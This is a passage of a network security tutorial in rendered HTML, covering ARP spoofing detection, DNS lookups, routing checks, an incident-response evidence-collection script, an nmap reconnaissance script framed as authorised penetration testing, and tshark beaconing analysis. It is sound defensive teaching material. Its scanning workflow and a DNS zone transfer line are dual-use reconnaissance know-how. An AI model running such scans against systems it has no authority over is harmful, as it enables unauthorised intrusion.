netsh interface ip add neighbors &lt;span class="s2"&gt;"Local Area Connection"&lt;/span&gt; 192.168.1.1 AA-BB-CC-DD-EE-FF
&lt;span class="c"&gt;# Add static ARP for gateway&lt;/span&gt;

&lt;span class="c"&gt;# Detect ARP spoofing:&lt;/span&gt;
watch &lt;span class="nt"&gt;-n&lt;/span&gt; 1 arp &lt;span class="nt"&gt;-a&lt;/span&gt;                   &lt;span class="c"&gt;# Monitor ARP table changes&lt;/span&gt;
&lt;span class="c"&gt;# If gateway IP shows different MAC = ARP spoofing in progress&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 dig and nslookup — DNS Interrogation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# dig (Domain Information Groper) — primary DNS tool:&lt;/span&gt;
dig example.com                     &lt;span class="c"&gt;# A record (default)&lt;/span&gt;
dig example.com A                   &lt;span class="c"&gt;# Explicit A record&lt;/span&gt;
dig example.com AAAA                &lt;span class="c"&gt;# IPv6 address&lt;/span&gt;
dig example.com MX                  &lt;span class="c"&gt;# Mail exchange&lt;/span&gt;
dig example.com TXT                 &lt;span class="c"&gt;# Text records (SPF, DKIM, etc.)&lt;/span&gt;
dig example.com NS                  &lt;span class="c"&gt;# Name servers&lt;/span&gt;
dig example.com SOA                 &lt;span class="c"&gt;# Start of Authority&lt;/span&gt;
dig &lt;span class="nt"&gt;-x&lt;/span&gt; 8.8.8.8                     &lt;span class="c"&gt;# Reverse lookup (PTR)&lt;/span&gt;
dig @8.8.8.8 example.com           &lt;span class="c"&gt;# Use specific DNS server&lt;/span&gt;
dig +short example.com              &lt;span class="c"&gt;# Just the answer (IP only)&lt;/span&gt;
dig +trace example.com              &lt;span class="c"&gt;# Full resolution trace (root → TLD → auth)&lt;/span&gt;
dig +nocmd +noall +answer example.com  &lt;span class="c"&gt;# Clean output&lt;/span&gt;

&lt;span class="c"&gt;# Security uses:&lt;/span&gt;
dig TXT _dmarc.example.com          &lt;span class="c"&gt;# DMARC policy&lt;/span&gt;
dig TXT example.com | &lt;span class="nb"&gt;grep &lt;/span&gt;spf      &lt;span class="c"&gt;# SPF record&lt;/span&gt;
dig AXFR @ns1.example.com example.com  &lt;span class="c"&gt;# Zone transfer attempt&lt;/span&gt;
dig example.com ANY                 &lt;span class="c"&gt;# All record types&lt;/span&gt;

&lt;span class="c"&gt;# Detect DNS changes:&lt;/span&gt;
&lt;span class="nv"&gt;OLD_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig +short example.com&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;3600
&lt;span class="nv"&gt;NEW_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig +short example.com&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OLD_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"DNS CHANGED: &lt;/span&gt;&lt;span class="nv"&gt;$OLD_IP&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="nv"&gt;$NEW_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# nslookup:&lt;/span&gt;
nslookup example.com                &lt;span class="c"&gt;# Basic lookup&lt;/span&gt;
nslookup example.com 8.8.8.8       &lt;span class="c"&gt;# Use specific server&lt;/span&gt;
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;MX example.com      &lt;span class="c"&gt;# MX records&lt;/span&gt;
nslookup &lt;span class="nt"&gt;-type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;any example.com     &lt;span class="c"&gt;# All types (Windows compatible)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 route — Routing Table Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View routing table:&lt;/span&gt;
route &lt;span class="nt"&gt;-n&lt;/span&gt;                            &lt;span class="c"&gt;# Linux (legacy, numeric)&lt;/span&gt;
ip route show                       &lt;span class="c"&gt;# Linux (modern)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-rn&lt;/span&gt;                         &lt;span class="c"&gt;# Cross-platform&lt;/span&gt;
route print                         &lt;span class="c"&gt;# Windows&lt;/span&gt;

&lt;span class="c"&gt;# Security implications of routing table:&lt;/span&gt;
ip route show
&lt;span class="c"&gt;# default via 192.168.1.1 dev eth0  ← Default gateway — check this is expected&lt;/span&gt;
&lt;span class="c"&gt;# 10.0.0.0/8 via 10.10.0.1         ← Route to internal network (VPN route)&lt;/span&gt;
&lt;span class="c"&gt;# 192.168.2.0/24 dev eth1           ← Directly connected network&lt;/span&gt;

&lt;span class="c"&gt;# Check for suspicious routes:&lt;/span&gt;
ip route show | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^default&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^192.168&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^10&lt;/span&gt;&lt;span class="se"&gt;\.\|&lt;/span&gt;&lt;span class="s2"&gt;^172&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected routes to external IPs = possible MITM or routing attack&lt;/span&gt;

&lt;span class="c"&gt;# Add/remove routes:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route add 10.20.0.0/24 via 192.168.1.254  &lt;span class="c"&gt;# Add route&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route del 10.20.0.0/24                      &lt;span class="c"&gt;# Remove route&lt;/span&gt;

&lt;span class="c"&gt;# Windows:&lt;/span&gt;
route add 10.20.0.0 mask 255.255.255.0 192.168.1.254  &lt;span class="c"&gt;# Add route&lt;/span&gt;
route delete 10.20.0.0                                  &lt;span class="c"&gt;# Remove route&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Tool Integration — Building Investigation Workflows
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Incident Response Workflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Comprehensive network evidence collection for incident response&lt;/span&gt;

&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d_%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;EVIDENCE_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/ir_evidence_&lt;/span&gt;&lt;span class="nv"&gt;$TIMESTAMP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Collecting network evidence to &lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# 1. Current connections:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting connection state ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/connections_tcp.txt"&lt;/span&gt;
ss &lt;span class="nt"&gt;-unp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/connections_udp.txt"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/listening_services.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 2. Network configuration:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting interface config ==="&lt;/span&gt;
ip addr show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/interfaces.txt"&lt;/span&gt;
ip route show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/routing.txt"&lt;/span&gt;
ip neigh show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/arp_cache.txt"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/dns_config.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 3. Active processes with network connections:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Correlating processes to connections ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 &amp;amp;&amp;amp; /ESTABLISHED/{print $5, $6}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/established_with_process.txt"&lt;/span&gt;

&lt;span class="c"&gt;# 4. Start packet capture:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Starting packet capture (60 seconds) ==="&lt;/span&gt;
&lt;span class="nb"&gt;timeout &lt;/span&gt;60 tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; any &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/traffic.pcap"&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 0 2&amp;gt;/dev/null &amp;amp;
&lt;span class="nv"&gt;TCPDUMP_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;

&lt;span class="c"&gt;# 5. DNS cache (if applicable):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Collecting DNS cache ==="&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; resolvectl &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;resolvectl statistics &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/dns_stats.txt"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# 6. Check for suspicious listening ports:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Checking for unexpected listeners ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $4, $6}'&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;addr proc&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$addr&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f2&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;# Flag non-standard ports that are listening&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 1024 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 3306 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 5432 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Non-standard listener: &lt;/span&gt;&lt;span class="nv"&gt;$addr&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$proc&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;/suspicious_listeners.txt"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done

&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt; &lt;span class="nv"&gt;$TCPDUMP_PID&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Evidence collection complete: &lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EVIDENCE_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Network Reconnaissance Workflow (Penetration Testing)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Structured network reconnaissance for authorised penetration testing&lt;/span&gt;

&lt;span class="nv"&gt;TARGET_NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.0/24"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"./recon_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 1: Host Discovery ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET_NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-oG&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase1_hosts.gnmap"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nv"&gt;LIVE_HOSTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Status: Up"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase1_hosts.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Found &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; live hosts"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 2: Port Scan ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 1000 &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Port scan complete"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 3: Service Detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase3_services"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Phase 4: Quick Vulnerability Check ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt; &lt;span class="s2"&gt;"vuln and not intrusive"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-oA&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase4_vulns"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Summary ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Live hosts: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/live_hosts.txt"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with web services:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"80/open&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;443/open&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;8080/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with SMB:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"445/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hosts with RDP:"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"3389/open"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/phase2_ports.gnmap"&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Results saved to &lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 Traffic Analysis Workflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Automated traffic analysis for SOC/threat hunting:&lt;/span&gt;

&lt;span class="c"&gt;# Capture traffic:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-s&lt;/span&gt; 0 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s1"&gt;'not (host 192.168.1.1 and port 22)'&lt;/span&gt; &amp;amp;  &lt;span class="c"&gt;# Exclude your SSH session&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;300    &lt;span class="c"&gt;# Capture 5 minutes&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Analysis pipeline:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;   &lt;span class="c"&gt;# Top TCP conversations&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; io,phs                 &lt;span class="c"&gt;# Protocol hierarchy&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;  &lt;span class="c"&gt;# Top DNS queries&lt;/span&gt;

&lt;span class="c"&gt;# Find potential beaconing (regular-interval connections):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time_epoch &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"tcp.flags.syn == 1 and tcp.flags.ack == 0"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
